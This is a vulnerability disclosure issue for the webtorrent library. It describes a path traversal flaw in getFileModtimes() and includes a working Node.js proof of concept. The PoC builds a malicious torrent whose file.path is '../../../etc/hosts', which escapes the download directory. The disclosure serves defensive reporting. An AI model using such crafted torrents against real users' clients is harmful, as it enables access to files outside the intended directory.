#3012·webtorrent

Security Vulnerability: Path Traversal

Author: researchersongwuCreated Mar 21, 2026Updated Aug 17, 2026

this bug is found by nova ,which is a automatic tools from group of Song Wu, intern ,Zhejiang University ,BoWang independent researcher ,Xingwei Lin, Zhejiang University .

Vulnerability description There is a path traversal vulnerability in webtorrent library.The library component treats file.path as a normal file name/path component without validating whether it contains malicious path traversal sequences.. And the import information about this vulnerability is as follows:

Core location: torrent.js Key code: In getFileModtimes(), the following line is used: Relevant context: file.path originates from the file list in the .torrent metadata and is therefore attacker-controlled input. Underlying issue: Dangerous input: If an attacker sets file.path to a value such as ../../../etc/hosts, the value contains ../ segments that can escape the intended download directory. Result: path.join(this.path, file.path) may resolve to a path outside the configured download root, allowing access to files outside the expected directory boundary.

POC:

import fs from 'fs'

import path from 'path'

import WebTorrent from 'webtorrent'



console.log('\n=== WebTorrent Path Traversal PoC ===\n')



const downloadRoot = '/tmp/webtorrent-safe-root'

const traversalTarget = '../../../etc/hosts'

const resolvedTarget = path.resolve(downloadRoot, traversalTarget)



const maliciousTorrentData = {

  infoHash: '0123456789012345678901234567890123456789',

  info: Buffer.from('path-traversal-demo'),

  name: 'malicious_torrent',

  announce: [],

  urlList: [],

  pieceLength: 16384,

  lastPieceLength: 16,

  pieces: [Buffer.alloc(20)],

  length: 16,

  files: [

    {

      name: 'hosts',

      path: traversalTarget,

      length: 16,

      offset: 0

    }

  ]

}



console.log('[*] Download root:', downloadRoot)

console.log('[*] Attacker-controlled file.path:', traversalTarget)

console.log('[*] Normalized real access path:', resolvedTarget)



if (!fs.existsSync(resolvedTarget)) {

  console.error('[!] Target file does not exist; this system cannot demonstrate the PoC:', resolvedTarget)

  process.exit(1)

}



const client = new WebTorrent({ dht: false, tracker: false, lsd: false })

const torrent = client.add(maliciousTorrentData, {

  path: downloadRoot,

  skipVerify: true

})



torrent.once('ready', () => {

  console.log('\n[+] Torrent is ready, triggering `getFileModtimes()`')



  torrent.files.forEach((file, index) => {

    const escapedPath = path.resolve(downloadRoot, file.path)

    console.log(`    [${index}] file.path = ${file.path}`)

    console.log(`        -> path.resolve(downloadRoot, file.path) = ${escapedPath}`)

  })



  torrent.getFileModtimes((err, modtimes) => {

    if (err) {

      console.error('[!] Failed to call getFileModtimes:', err)

      cleanup(1)

      return

    }



    console.log('\n[+] getFileModtimes returned:', modtimes)

    console.log('[+] This shows the program performed fs.stat on the escaped real path')



    const hostStat = fs.statSync(resolvedTarget)

    console.log('[+] Local direct fs.stat mtimeMs:', hostStat.mtime.getTime())

    console.log('[+] PoC succeeded: attacker-controlled torrent file.path escaped the download directory')

    cleanup(0)

  })

})



torrent.once('error', err => {

  console.error('[!] Torrent error:', err)

  cleanup(1)

})



setTimeout(() => {

  console.error('[!] Timeout: the PoC did not complete within the expected time')

  cleanup(1)

}, 8000)



function cleanup (code) {

  client.destroy(() => {

    process.exit(code)

  })

}